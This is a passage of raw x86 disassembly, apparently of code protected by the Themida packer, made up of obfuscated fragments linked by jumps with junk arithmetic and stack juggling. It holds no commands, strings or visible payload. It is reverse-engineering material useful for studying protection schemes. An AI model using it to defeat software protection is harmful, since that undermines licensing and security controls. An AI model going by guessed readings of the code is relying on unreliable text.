		xor	esi, [esp+0Ch+var_E+2]
		xor	[esp+0Ch+var_E+2], esi
		xor	esi, [esp+0Ch+var_E+2]
		pop	esp
		push	6CDDh
		mov	[esp+0Ch+var_E+2], edx
		jmp	loc_5689BC
; ---------------------------------------------------------------------------


loc_565D0F:				; CODE XREF: sub_55EDA7+10F4Dj
		sub	eax, 66384F23h
		shr	eax, 5
		jmp	loc_56E7E5
; ---------------------------------------------------------------------------


loc_565D1C:				; CODE XREF: sub_55EDA7+6C63j
		add	ebx, edx
		push	esi
		jmp	loc_572308
; ---------------------------------------------------------------------------


loc_565D24:				; CODE XREF: sub_55EDA7+50C2j
		shr	eax, 3
		jmp	loc_56ABC5
; ---------------------------------------------------------------------------


loc_565D2C:				; CODE XREF: sub_55EDA7+F8B7j
		mov	ebp, 24D37E9Ch
		sub	ebp, 3AA56F36h
		shl	ebp, 3
		jmp	loc_56743B
; ---------------------------------------------------------------------------


loc_565D3F:				; CODE XREF: sub_55EDA7+1151Fj
		and	edi, 1A14119Ah
		or	edi, 14E06D27h
		add	edi, 211DF3FEh
		jmp	loc_56964F
; ---------------------------------------------------------------------------


loc_565D56:				; CODE XREF: sub_55EDA7+1880j
		sub	eax, 4
		xchg	eax, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		jmp	loc_5605A1
; ---------------------------------------------------------------------------


loc_565D64:				; CODE XREF: sub_55EDA7+8CD7j
		mov	esi, 2
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp-14h+arg_10]
		pop	esp
		mov	word ptr [esp-18h+arg_14], cx
		push	esi
		push	small 5341h
		mov	si, word ptr [esp-12h+arg_C+2]
		add	esp, 2
		xchg	cx, si
		xchg	bx, cx
		jmp	loc_56F267
; ---------------------------------------------------------------------------


loc_565D8E:				; CODE XREF: sub_55EDA7+1AF5j
		add	esp, 4
		push	ebx
		jmp	loc_5721DB
; ---------------------------------------------------------------------------


loc_565D9A:				; CODE XREF: sub_55EDA7+6988j
		xor	ebx, ecx
		jmp	loc_568D61
; ---------------------------------------------------------------------------


loc_565DA1:				; CODE XREF: sub_55EDA7+447j
		sub	eax, ebx
		jmp	loc_56E904
; ---------------------------------------------------------------------------


loc_565DA8:				; CODE XREF: sub_55EDA7+32Cj
		mov	ecx, 9899CE14h
		xor	esi, ecx
		pop	ecx
		add	edi, 1F4BEEh
		jmp	loc_56AF28
; ---------------------------------------------------------------------------


loc_565DBB:				; CODE XREF: sub_55EDA7+31F6j
		or	edi, 1BD50D9Dh
		neg	edi
		jmp	loc_569C88
; ---------------------------------------------------------------------------


loc_565DC8:				; CODE XREF: sub_55EDA7+A05j
		and	eax, 9844A70h
		sub	eax, 180483Ch
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp-14h+arg_10]
		pop	esp
		mov	[esp-18h+arg_14], ebx
		mov	ebx, esp
		push	ebp
		push	4D37h
		mov	[esp-10h+arg_C], ecx
		mov	ecx, 2C7A593Bh
		jmp	loc_55FE94
; ---------------------------------------------------------------------------


loc_565DF1:				; CODE XREF: sub_55EDA7+D128j
		sub	ebx, 4
		jmp	loc_56CC87
; ---------------------------------------------------------------------------


loc_565DFC:				; CODE XREF: sub_55EDA7+1024j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-16h+arg_10+2]
		pop	esp
		mov	[esp-1Ah+arg_14+2], ebp
		push	eax
		push	4F825664h
		pop	eax
		xor	eax, 26386D13h
		mov	ebp, eax
		jmp	loc_570D3D
; ---------------------------------------------------------------------------


loc_565E25:				; CODE XREF: sub_55EDA7+ABF0j
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		add	ebx, 10BB0ED1h
		shr	ebx, 1
		dec	ebx
		jmp	loc_56E01D
; ---------------------------------------------------------------------------


loc_565E39:				; CODE XREF: sub_55EDA7+77FDj
		sub	edx, eax
		push	[esp-16h+arg_10+2]
		jmp	loc_56E2C3
; ---------------------------------------------------------------------------


loc_565E43:				; CODE XREF: sub_55EDA7+43E2j
		add	esp, 4
		add	edi, eax
		push	ecx
		jmp	loc_570FDC
; ---------------------------------------------------------------------------


loc_565E4E:				; CODE XREF: sub_55EDA7+10591j
		shr	ebp, 1
		jmp	loc_56D0E8
; ---------------------------------------------------------------------------


loc_565E55:				; CODE XREF: sub_55EDA7+A0CAj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp-24h+arg_20]
		xor	[esp-24h+arg_20], ecx
		xor	ecx, [esp-24h+arg_20]
		mov	esp, [esp-24h+arg_20]
		jmp	loc_569467
; ---------------------------------------------------------------------------


loc_565E74:				; CODE XREF: sub_55EDA7+A252j
		sub	eax, ecx
		pop	ecx
		jmp	loc_55E20E
; ---------------------------------------------------------------------------


loc_565E7C:				; CODE XREF: sub_55EDA7+DA3Aj
		sub	ecx, edi
		pop	edi
		or	esi, ecx
		jmp	loc_562818
; ---------------------------------------------------------------------------


loc_565E86:				; CODE XREF: sub_55EDA7+13BC4j
		neg	ebx
		jmp	loc_56AAFE
; ---------------------------------------------------------------------------


loc_565E8D:				; CODE XREF: sub_55EDA7+1515j
		neg	edx
		push	ecx
		mov	ecx, 1
		sub	edx, 2D9F6B71h
		sub	edx, ecx
		add	edx, 2D9F6B71h
		mov	ecx, [esp+18h+var_1A+2]
		add	esp, 4
		add	edx, 336B525Ch
		xor	edx, 0F45A500Dh
		add	ebp, 634D7003h
		add	ebp, edx
		sub	ebp, 634D7003h
		push	[esp+14h+var_16+2]
		jmp	loc_570AB0
; ---------------------------------------------------------------------------
		mov	sp, word ptr [esp+18h+var_1A+2]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_565ED4:				; CODE XREF: sub_55EDA7+12E29j
		shl	ecx, 1
		and	ecx, 176D0D59h
		jmp	loc_563618
; ---------------------------------------------------------------------------


loc_565EE1:				; CODE XREF: sub_55EDA7+2A05j
		pop	ebp
		not	edx
		xor	edx, 70BA1C93h
		jmp	sub_56EA48
; ---------------------------------------------------------------------------


loc_565EEF:				; CODE XREF: sub_571E9D+10j
		not	ecx
		jmp	loc_565043
; ---------------------------------------------------------------------------


loc_565EF6:				; CODE XREF: sub_55EDA7+5BC9j
		sub	esi, 3720071Dh
		jmp	loc_560C4D
; ---------------------------------------------------------------------------


loc_565F01:				; CODE XREF: sub_55EDA7+B568j
		pop	edx
		pop	eax
		push	ebp
		jmp	loc_563739
; ---------------------------------------------------------------------------


loc_565F09:				; CODE XREF: sub_55EDA7+CAD6j
		mov	[esp-24h+arg_20], edi
		mov	edi, 18033EA4h
		push	ecx
		jmp	loc_564C0B
; ---------------------------------------------------------------------------


loc_565F17:				; CODE XREF: sub_55EDA7+3FDBj
		mov	ebp, [esp-10h+arg_C]
		add	esp, 4
		jmp	loc_568AB9
; ---------------------------------------------------------------------------


loc_565F25:				; CODE XREF: sub_56D266+9j
		shl	ebx, 2
		push	edi
		push	1E0Eh
		mov	[esp-0Ch+arg_8], ebx
		push	1DDB571Ch
		pop	ebx
		shr	ebx, 4
		xor	ebx, 29B5BA57h
		push	esi
		push	edi
		mov	edi, ebx
		jmp	loc_56E016
; ---------------------------------------------------------------------------


loc_565F49:				; CODE XREF: sub_55EDA7+8019j
		push	edi
		jmp	loc_561B79
; ---------------------------------------------------------------------------


loc_565F4F:				; CODE XREF: sub_55EDA7+FEC2j
		xor	[esp+0], edx
		xor	edx, [esp+0]
		jmp	loc_56C706
; ---------------------------------------------------------------------------


loc_565F5A:				; CODE XREF: sub_56F03C+Bj
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_565F5F:				; CODE XREF: sub_55EDA7+114Fj
		pop	esi
		jmp	loc_571405
; ---------------------------------------------------------------------------


loc_565F65:				; CODE XREF: sub_55EDA7+1131Fj
		add	esp, 4
		add	eax, 66884ABEh
		jmp	loc_5677A8
; ---------------------------------------------------------------------------


loc_565F75:				; CODE XREF: sub_55EDA7+8A18j
		xor	ecx, 25514E6Ch
		jmp	loc_5683E7
; ---------------------------------------------------------------------------


loc_565F80:				; CODE XREF: sub_55EDA7+55A9j
		push	edx
		push	esi
		mov	esi, 151A0044h
		mov	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp-1Ch+arg_18], edi
		mov	edi, 451B6380h
		mov	ecx, 8963AAACh
		jmp	loc_563F59
; ---------------------------------------------------------------------------


loc_565FA2:				; CODE XREF: sub_55EDA7+2FF2j
		add	al, dh
		pop	edx
		jmp	loc_56B790
; ---------------------------------------------------------------------------


loc_565FAA:				; CODE XREF: sub_55EDA7+5FB1j
		mov	[esp+0], ecx
		push	esp
		pop	ecx
		jmp	loc_56121A
; ---------------------------------------------------------------------------


loc_565FB4:				; CODE XREF: sub_55EDA7+E90Dj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_563028
; ---------------------------------------------------------------------------


loc_565FC2:				; CODE XREF: sub_55EDA7+77C7j
		inc	ebp
		not	ebp
		add	ebp, 56937391h
		not	ebp
		jmp	loc_5676CC
; ---------------------------------------------------------------------------


loc_565FD2:				; CODE XREF: sub_55EDA7+111A7j
		add	eax, ebp
		push	ebx
		mov	ebx, 13B673E4h
		dec	ebx
		sub	ebx, 10BD5530h
		add	eax, ebx
		pop	ebx
		jmp	loc_561041
; ---------------------------------------------------------------------------


loc_565FE9:				; CODE XREF: sub_55EDA7+DD66j
		shl	ecx, 7
		jmp	loc_566E5C
; ---------------------------------------------------------------------------


loc_565FF1:				; CODE XREF: sub_55EDA7+44CAj
		sub	bl, 2Ah
		sub	bl, 1Eh
		sub	esp, 4
		mov	[esp-0Eh+arg_8+2], esi
		mov	esi, 3CB96DB9h
		shl	esi, 4
		sub	esi, 0CB96D794h
		push	825h
		mov	[esp-0Ah+arg_4+2], ecx
		push	edx
		jmp	loc_55F7B1
; ---------------------------------------------------------------------------


loc_56601C:				; CODE XREF: sub_55EDA7+DCB5j
		pop	esp
		jmp	loc_567B12
; ---------------------------------------------------------------------------


loc_566022:				; CODE XREF: sub_55EDA7+80Aj
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp-1Ch+arg_18]
		mov	esp, [esp-1Ch+arg_18]
		push	7108h
		mov	[esp-18h+arg_14], eax
		push	671Ah
		mov	[esp-14h+arg_10], esp
		add	[esp-14h+arg_10], 4
		mov	eax, [esp-14h+arg_10]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp-14h+arg_14]
		mov	eax, [esp-10h+arg_C]
		add	esp, 4
		pop	[esp-14h+arg_10]
		jmp	loc_56A492
; ---------------------------------------------------------------------------


loc_566069:				; CODE XREF: sub_55EDA7+8908j
		add	ch, dl
		pop	edx
		jmp	loc_56DE44
; ---------------------------------------------------------------------------


loc_566071:				; CODE XREF: sub_55EDA7+7841j
		pop	esi
		sub	ebx, eax
		pop	eax
		mov	edx, [esp-24h+arg_20]
		sub	esp, 4
		mov	[esp-20h+arg_1C], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-20h+arg_1C]
		pop	esp
		jmp	loc_565932
; ---------------------------------------------------------------------------


loc_566092:				; CODE XREF: sub_55EDA7+D232j
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_56C494
; ---------------------------------------------------------------------------


loc_56609B:				; CODE XREF: sub_55EDA7+7E27j
		mov	[esp-24h+arg_20], ebx
		push	[esp-24h+arg_20]
		push	[esp-20h+arg_1C]
		pop	eax
		add	esp, 4
		push	ecx
		push	esp
		jmp	loc_56B34B
; ---------------------------------------------------------------------------


loc_5660B2:				; CODE XREF: sub_55EDA7+5093j
		add	[esp+1Eh+var_1E], 4
		pop	eax
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+1Ah+var_1A]
		jmp	loc_55F3B5
; ---------------------------------------------------------------------------


loc_5660D4:				; CODE XREF: sub_55EDA7+1C86j
		push	[esp-18h+arg_14]
		pop	esi
		add	esp, 4
		push	edi
		mov	edi, 13504588h
		jmp	loc_56F982
; ---------------------------------------------------------------------------


loc_5660E9:				; CODE XREF: sub_55EDA7+4E1Fj
		sub	ch, 7
		push	bx
		mov	bl, 55h
		sub	ch, 1Eh
		add	ch, bl
		add	ch, 1Eh
		pop	bx
		jmp	loc_55F72B
; ---------------------------------------------------------------------------
		push	[esp-2Ch+arg_28]
		jmp	loc_572990
; ---------------------------------------------------------------------------


loc_566107:				; CODE XREF: sub_55EDA7+DE7Cj
		xchg	eax, esi
		push	esi
		push	[esp-24h+arg_24]
		mov	esi, [esp-20h+arg_1C]
		jmp	loc_56585A
; ---------------------------------------------------------------------------


loc_566115:				; CODE XREF: sub_55EDA7+E8FCj
		push	ebx
		push	6ED3541h
		jmp	loc_55F1FB
; ---------------------------------------------------------------------------


loc_566120:				; CODE XREF: sub_55EDA7+B110j
		xor	[esp-18h+arg_14], ebp
		xor	ebp, [esp-18h+arg_14]
		pop	esp
		jmp	loc_561A59
; ---------------------------------------------------------------------------


loc_56612C:				; CODE XREF: sub_55EDA7+6F46j
		or	ebp, 560C7B6Fh
		or	ebp, 7BB0825h
		jmp	loc_572C45
; ---------------------------------------------------------------------------


loc_56613D:				; CODE XREF: sub_55EDA7+AC69j
		mov	ecx, 3DF9204Eh
		xor	edi, ecx
		mov	ecx, [esp+0Ch+var_E+2]
		add	esp, 4
		jmp	loc_56D949
; ---------------------------------------------------------------------------


loc_566152:				; DATA XREF: Themida_:0055DF98o
		push	dword ptr [edi+3Ch]
		push	[esp+0Ch+var_E+2]
		push	[esp+10h+var_12+2]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+14h+var_16+2]
		pop	esp
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+18h+var_1A+2], edx
		push	eax
		push	30DD78C0h
		pop	eax
		add	eax, 718D38A0h
		sub	eax, 0A26AB15Ch
		mov	edx, eax
		pop	eax
		add	ebx, edx
		jmp	loc_567806
; ---------------------------------------------------------------------------


loc_566190:				; CODE XREF: Themida_:0056D900j
		push	edi
		mov	edi, 244E530Dh
		mov	ebx, 60FFB13Dh
		sub	ebx, edi
		pop	edi
		xor	ebx, 3CB15E34h
		add	ebp, ebx
		pop	ebx
		jmp	loc_55F794
; ---------------------------------------------------------------------------


loc_5661AC:				; CODE XREF: sub_56D82C+1j
		mov	ebx, 9FFCF26Eh
		xor	ecx, ebx
		mov	ebx, [esp+14h+var_16+2]
		jmp	loc_560259
; ---------------------------------------------------------------------------


loc_5661BB:				; CODE XREF: sub_55EDA7+2143j
		mov	edx, esi
		pop	esi
		mov	esi, 49AA7892h
		sub	esi, edx
		mov	edx, [esp+30h+var_32+2]
		add	esp, 4
		mov	ebp, esi
		pop	esi
		sub	edx, 51ED49C0h
		sub	edx, 42E22DD8h
		add	edx, ebp
		add	edx, 42E22DD8h
		add	edx, 51ED49C0h
		jmp	loc_55F952
; ---------------------------------------------------------------------------


loc_5661F0:				; CODE XREF: sub_55EDA7+4F9Bj
		add	ebx, 4
		xchg	ebx, [esp+1Eh+var_1E]
		jmp	loc_571141
; ---------------------------------------------------------------------------


loc_5661FB:				; CODE XREF: sub_55EDA7+BDF7j
		mov	dh, 0F8h
		add	al, dh
		pop	edx
		push	4151h
		mov	[esp+1Eh+var_1E], ebx
		mov	bh, 67h
		or	al, bh
		mov	ebx, [esp+1Eh+var_1E]
		add	esp, 4
		push	edx
		mov	dl, 0EDh
		dec	dl
		shl	dl, 6
		shl	dl, 8
		add	dl, 26h
		or	al, dl
		jmp	loc_5631E6
; ---------------------------------------------------------------------------


loc_56622A:				; CODE XREF: sub_55EDA7+873j
		not	eax
		sub	eax, 0E80D0D2Dh
		xor	ecx, eax
		pop	eax
		push	ecx
		pop	esi
		pop	ecx
		and	esi, 173D25AAh
		not	esi
		sub	esi, 0FFFFFFFFh
		push	edi
		mov	edi, 0E8CBFBFAh
		jmp	loc_57085C
; ---------------------------------------------------------------------------


loc_566250:				; CODE XREF: sub_55EDA7+D553j
		xor	bl, al
		push	[esp-10h+arg_C]
		pop	eax
		push	ebx
		push	esp
		mov	ebx, [esp-8+arg_4]
		jmp	loc_562267
; ---------------------------------------------------------------------------


loc_566260:				; CODE XREF: sub_55EDA7+FEAAj
		mov	ebp, 0E88FAA87h
		jmp	loc_565C2B
; ---------------------------------------------------------------------------


loc_56626A:				; CODE XREF: sub_55EDA7+50B1j
		push	ebx
		mov	ebx, 172D4B82h
		inc	ebx
		not	ebx
		inc	ebx
		jmp	loc_56B022
; ---------------------------------------------------------------------------


loc_566279:				; CODE XREF: sub_55EDA7-127j
		add	[esp-10h+arg_C], 4
		pop	ebp
		push	3023h
		mov	[esp-10h+arg_C], eax
		mov	eax, 496B1377h
		sub	eax, 4B9D039Fh
		or	eax, 6EA40BD2h
		add	eax, 227E24C4h
		push	esi
		mov	esi, 40671C35h
		sub	esi, 0EBB9F98Ah
		jmp	loc_5707E4
; ---------------------------------------------------------------------------


loc_5662AE:				; CODE XREF: sub_55EDA7+12164j
		pop	esi
		add	eax, ecx
		mov	ecx, [esp-10h+arg_C]
		add	esp, 4
		jmp	loc_562AAF
; ---------------------------------------------------------------------------


loc_5662BC:				; CODE XREF: sub_55EDA7+4EB2j
		sub	edx, 0D3E6A32h
		add	edx, edi
		push	edi
		mov	edi, 177E4935h
		jmp	loc_56FCF9
; ---------------------------------------------------------------------------


loc_5662CF:				; CODE XREF: sub_55EDA7+B6AFj
		push	ecx
		mov	ecx, 56245444h
		jmp	loc_56CBB0
; ---------------------------------------------------------------------------


loc_5662DA:				; CODE XREF: sub_55EDA7+E941j
		add	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 1ADD12BAh
		shl	ebp, 2
		and	ebp, 27084DA8h
		push	ecx
		jmp	loc_5651FC
; ---------------------------------------------------------------------------


loc_5662F2:				; CODE XREF: sub_55EDA7+4244j
		add	edi, 4
		push	esi
		push	ebp
		mov	ebp, 74DB5937h
		mov	esi, 0ED6CC939h
		sub	esi, 3A0115DEh
		jmp	loc_56A84E
; ---------------------------------------------------------------------------


loc_56630F:				; CODE XREF: sub_55EDA7+93Cj
		not	ebx
		push	ecx
		mov	ecx, 0
		sub	ecx, 685A70BDh
		sub	ecx, ebx
		add	ecx, 685A70BDh
		xchg	ecx, ebx
		pop	ecx
		jmp	loc_566E9F
; ---------------------------------------------------------------------------


loc_56632D:				; CODE XREF: sub_55EDA7+4FCAj
		mov	[esp+1Ah+var_1A], edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		add	edi, 4
		push	edi
		push	[esp+1Ah+var_16]
		push	[esp+1Eh+var_1E]
		jmp	loc_564C3D
; ---------------------------------------------------------------------------


loc_566348:				; CODE XREF: sub_55EDA7+13E8Ej
		xor	ebx, 4CB606DEh
		push	ebx
		not	[esp+26h+var_26]
		pop	ebx
		add	ebx, 45D31916h
		shr	ebx, 3
		sub	ebx, 4E6F401Fh
		add	ecx, ebx
		pop	ebx
		add	eax, ecx
		mov	ecx, [esp+1Eh+var_1E]
		add	esp, 4
		mov	ebx, [esp+1Ah+var_1A]
		add	esp, 4
		push	2C0Ah
		jmp	loc_56DABA
; ---------------------------------------------------------------------------


loc_566383:				; CODE XREF: sub_55EDA7+A36Dj
		push	eax
		mov	eax, 3F9486FBh
		xor	ebp, eax
		pop	eax
		sub	eax, ebp
		jmp	loc_566ADB
; ---------------------------------------------------------------------------


loc_566393:				; CODE XREF: sub_55EDA7+B62Aj
		add	edi, 3D9A28B0h
		not	edi
		inc	edi
		or	edi, 5CD82793h
		add	edi, 0B98F0144h
		jmp	loc_564E2E
; ---------------------------------------------------------------------------


loc_5663AD:				; CODE XREF: sub_55EDA7+2789j
		sub	edi, 35ABC2BEh
		add	ecx, edi
		pop	edi
		jmp	loc_5618B3
; ---------------------------------------------------------------------------


loc_5663BB:				; CODE XREF: sub_56E96C+BB8j
		pop	esi
		pop	eax
		jmp	loc_55FEE0
; ---------------------------------------------------------------------------


loc_5663C2:				; CODE XREF: sub_55EDA7+182Dj
		add	eax, 4
		sub	eax, 2
		xchg	eax, [esp-0Ch+arg_8]
		pop	esp
		mov	word ptr [esp-10h+arg_C], cx
		push	1DE9h
		mov	[esp-0Ch+arg_8], ebx
		push	37CAh
		jmp	loc_55EC04
; ---------------------------------------------------------------------------


loc_5663E4:				; CODE XREF: sub_55EDA7+AC97j
		sub	ebx, ecx
		jmp	loc_56BFBA
; ---------------------------------------------------------------------------


loc_5663EB:				; CODE XREF: sub_55EDA7+317Bj
		add	dh, 9Ch
		jmp	loc_5603BA
; ---------------------------------------------------------------------------


loc_5663F3:				; CODE XREF: sub_55EDA7+3D9Aj
		mov	edi, [esp-20h+arg_1C]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-1Ch+arg_18]
		pop	esp
		push	ebp
		mov	ebp, 23B80692h
		add	edi, ebp
		pop	ebp
		push	[esp-20h+arg_1C]
		pop	ebp
		add	esp, 4
		jmp	loc_5613FC
; ---------------------------------------------------------------------------


loc_56641E:				; CODE XREF: sub_55EDA7+133E7j
		not	edx
		jmp	loc_570903
; ---------------------------------------------------------------------------


loc_566425:				; CODE XREF: sub_55EDA7+4477j
		add	esi, eax
		push	edx
		push	ebx
		mov	ebx, 46A132C8h
		mov	edx, 0B8FC72E9h
		jmp	loc_56111E
; ---------------------------------------------------------------------------


loc_566438:				; CODE XREF: sub_55EDA7+FB71j
		mov	[esp-10h+arg_C], edi
		push	esp
		jmp	loc_572A51
; ---------------------------------------------------------------------------


loc_566441:				; CODE XREF: sub_55EDA7+133F9j
		push	ebp
		mov	ebp, 13053D57h
		add	ebp, 3B4533BEh
		jmp	loc_560A15
; ---------------------------------------------------------------------------


loc_566452:				; CODE XREF: sub_55EDA7+10678j
		mov	ecx, 39BE253Ch
		push	3DFFh
		mov	[esp-4+arg_0], edi
		push	1CC8713Dh
		pop	edi
		shr	edi, 2
		add	edi, 0B6611F5h
		push	edx
		jmp	loc_56D374
; ---------------------------------------------------------------------------


loc_566474:				; CODE XREF: sub_55EDA7+66Aj
		sub	ecx, esi
		add	ecx, 699C0ECCh
		push	[esp-4+arg_0]
		jmp	loc_56CCAB
; ---------------------------------------------------------------------------


loc_566484:				; CODE XREF: sub_55EDA7-761j
		mov	ebx, esi
		jmp	loc_569044
; ---------------------------------------------------------------------------


loc_56648B:				; CODE XREF: sub_55EDA7+DF9Fj
		pop	edi
		jmp	loc_561D33
; ---------------------------------------------------------------------------


loc_566491:				; CODE XREF: sub_55EDA7+90FDj
		sub	edx, 78822948h
		add	esi, edx
		pop	edx
		sub	esi, 4
		xchg	esi, [esp-38h+arg_34]
		pop	esp
		mov	[esp-3Ch+arg_38], ecx
		jmp	loc_57018A
; ---------------------------------------------------------------------------


loc_5664A9:				; CODE XREF: sub_55EDA7+7E76j
		mov	ebx, [esp-3Ch+arg_38]
		sub	esp, 4
		mov	[esp-38h+arg_34], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_569710
; ---------------------------------------------------------------------------


loc_5664C5:				; CODE XREF: sub_55EDA7+125D6j
		pop	edi
		push	edx
		push	[esp-38h+arg_38]
		pop	edx
		jmp	loc_561535
; ---------------------------------------------------------------------------


loc_5664D1:				; CODE XREF: sub_55EDA7+30Dj
		push	esi
		push	[esp+2Eh+var_2A]
		pop	esi
		pop	[esp+2Eh+var_2E]
		pop	esp
		jmp	loc_570BCC
; ---------------------------------------------------------------------------


loc_5664E0:				; CODE XREF: sub_55EDA7+9C6Dj
		add	bp, si
		pop	si
		add	bp, 4108h
		shl	bp, 1
		and	bp, 6F5Ch
		sub	bp, 0D297h
		and	si, bp
		pop	ebp
		or	si, 6199h
		xor	si, 55C9h
		push	edi
		mov	di, si
		mov	cx, di
		pop	edi
		jmp	loc_56E07F
; ---------------------------------------------------------------------------


loc_566512:				; CODE XREF: sub_55EDA7+11B1Cj
		add	eax, 580D360Eh
		dec	eax
		jmp	loc_56ECB9
; ---------------------------------------------------------------------------


loc_56651D:				; CODE XREF: sub_55EDA7+8095j
		sub	eax, esi
		jmp	loc_568E11
; ---------------------------------------------------------------------------


loc_566524:				; CODE XREF: sub_55EDA7+B890j
		mov	[esp+20h+var_22+2], eax
		jmp	loc_564DDC
; ---------------------------------------------------------------------------


loc_56652C:				; CODE XREF: sub_56D2EE+4C1j
		push	edx
		mov	edx, 5C7D1DF0h
		sub	ecx, 4CD36F8Fh
		add	ecx, edx
		add	ecx, 4CD36F8Fh
		mov	edx, [esp+24h+var_26+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+28h+var_2A+2]
		pop	esp
		inc	ecx
		shl	ecx, 6
		push	ebp
		push	ecx
		jmp	loc_56AB32
; ---------------------------------------------------------------------------


loc_566561:				; CODE XREF: sub_55EDA7+161j
		mov	ebp, 2B4C510Bh
		sub	ebp, 293D4741h
		not	ebp
		jmp	loc_565FC2
; ---------------------------------------------------------------------------


loc_566573:				; CODE XREF: sub_55EDA7+52FCj
		mov	eax, 7860557h
		add	ebp, 55651A82h
		add	ebp, eax
		jmp	loc_56A675
; ---------------------------------------------------------------------------


loc_566585:				; CODE XREF: sub_55EDA7+22B9j
		xchg	eax, [esp-20h+arg_1C]
		mov	esp, [esp-20h+arg_1C]
		rol	byte ptr [esp-20h+arg_1C], cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_566594:				; CODE XREF: sub_55EDA7+E572j
		mov	edi, ebx
		pop	ebx
		push	eax
		mov	eax, 5BEF6F35h
		shr	eax, 1
		sub	eax, 0EF04A2F9h
		jmp	loc_565E39
; ---------------------------------------------------------------------------


loc_5665A9:				; CODE XREF: sub_55EDA7+3851j
		pop	ebp
		push	1Ch
		mov	[esp+10h+var_12+2], esi
		mov	esi, 70607C5h
		xor	esi, 0CDB0288h
		shr	esi, 8
		push	ecx
		mov	ecx, 76356C7Bh
		xor	ecx, 7B305900h
		or	ecx, 84B01B8h
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 5DB04A45h
		add	ecx, 0CE7ABF21h
		jmp	loc_5624AB
; ---------------------------------------------------------------------------


loc_5665E6:				; CODE XREF: sub_55EDA7+7EC5j
		add	eax, esi
		jmp	loc_566071
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+14h+var_16+2]
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+1Ch+var_1E+2]
		pop	esp
		mov	[esp+18h+var_1A+2], ebp
		push	6756h
		jmp	loc_56C1C0
; ---------------------------------------------------------------------------


loc_566611:				; CODE XREF: sub_55EDA7+52A5j
		push	2F190090h
		pop	ecx
		sub	ecx, 57026E9Eh
		dec	ecx
		neg	ecx
		jmp	loc_56BAA8
; ---------------------------------------------------------------------------


loc_566625:				; DATA XREF: Themida_:0055DF58o
		push	ecx
		push	ebp
		push	7AD66744h
		jmp	loc_56E63B
; ---------------------------------------------------------------------------


loc_566631:				; CODE XREF: sub_55EDA7+C9B5j
		mov	ebx, 5F7D2781h
		and	ebx, 0A1E4253h
		jmp	loc_560B67
; ---------------------------------------------------------------------------


loc_566641:				; CODE XREF: sub_55EDA7+13D9Ej
		dec	ah
		mov	ch, ah
		pop	eax
		and	ch, 0E8h
		shr	ch, 2
		jmp	loc_571065
; ---------------------------------------------------------------------------


loc_566651:				; CODE XREF: sub_55EDA7+4362j
		mov	[esp+1Ch+var_1E+2], ebx
		push	72F14CADh
		push	[esp+20h+var_22+2]
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+24h+var_26+2]
		pop	esp
		xor	[esp+20h+var_1E+2], ebx
		jmp	loc_566B2D
; ---------------------------------------------------------------------------


loc_566679:				; CODE XREF: sub_55EDA7+3872j
		mov	edi, [esp+24h+var_26+2]
		add	esp, 4
		jmp	loc_56234E
; ---------------------------------------------------------------------------


loc_566684:				; CODE XREF: sub_55EDA7+4715j
		add	dl, 34h
		xor	dl, 0C3h
		push	small 0
		sub	byte ptr [esp+26h+var_26], dl
		jmp	loc_564A34
; ---------------------------------------------------------------------------


loc_566696:				; CODE XREF: sub_56DC33+1404j
		pop	ebp
		push	eax
		mov	eax, 4B15395Ch
		xchg	eax, edx
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		xchg	eax, edx
		and	eax, 274F1C7Ah
		xor	eax, 2FFE453Eh
		sub	eax, 0E7821F13h
		xor	ebp, eax
		pop	eax
		push	edi
		mov	edi, 6C572E9Ah
		push	esi
		jmp	loc_56E5B2
; ---------------------------------------------------------------------------


loc_5666C1:				; CODE XREF: sub_55EDA7+10536j
		add	[esp+2Ah+var_26], esi
		mov	esi, [esp+2Ah+var_2A]
		jmp	loc_56BAC8
; ---------------------------------------------------------------------------


loc_5666CD:				; CODE XREF: sub_55EDA7+7F41j
		pop	edx
		push	ecx
		push	23B44968h
		pop	ecx
		not	ecx
		inc	ecx
		jmp	loc_560215
; ---------------------------------------------------------------------------


loc_5666DD:				; CODE XREF: sub_55EDA7+D414j
		mov	esi, 7C952F97h
		jmp	loc_56D6FA
; ---------------------------------------------------------------------------


loc_5666E7:				; CODE XREF: sub_55EDA7+8A97j
		add	eax, ebp
		push	[esp+2Ah+var_2A]
		jmp	loc_57011C
; ---------------------------------------------------------------------------


loc_5666F1:				; CODE XREF: sub_55EDA7+B9ACj
		mov	word ptr [esp+2Eh+var_2E], cx
		jmp	loc_56A116
; ---------------------------------------------------------------------------


loc_5666FA:				; CODE XREF: sub_55EDA7+809Fj
		mov	ebp, esp
